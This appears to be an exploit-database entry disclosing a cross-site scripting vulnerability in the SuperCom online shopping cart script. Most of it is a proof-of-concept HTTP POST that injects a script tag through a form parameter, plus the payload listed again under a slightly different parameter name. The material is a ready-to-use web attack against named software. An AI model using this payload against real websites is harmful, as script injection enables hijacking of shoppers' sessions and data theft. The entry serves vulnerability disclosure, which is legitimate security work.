# Exploit Title: SuperCom - Online Shopping Ecommerce Cart - Cross-Site Scripting		
# Google Dork: N/A
# Date: 2018-08-17
# Exploit Author: Ali Alipour
# WbeSite: Alipour.it
# Vendor Homepage: # Vendor Homepage: https://codecanyon.net/item/supercom-online-shopping-ecommerce-cart/17085987
# Software Link Download : http://dl.20script.ir/script/shop/supercom[www.20script.ir].zip
# Version: N/A
# Tested on: Kali Linux / Windows 10


# Proof of Concepts:
  
POST /shopp/api-main.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:80//shopp/
Content-Length: 64
Cookie: PHPSESSID=hg088mdvtd99gn8sh1kkika962
Connection: keep-alive
cid=1&lstid=9'%22()%26%25<acx><ScRiPt%20>prompt('Ali Alipour')</ScRiPt>
 
Parameter: stid (POST)
    Payload: stid=9'%22()%26%25<acx><ScRiPt%20>prompt('Ali Alipour')</ScRiPt>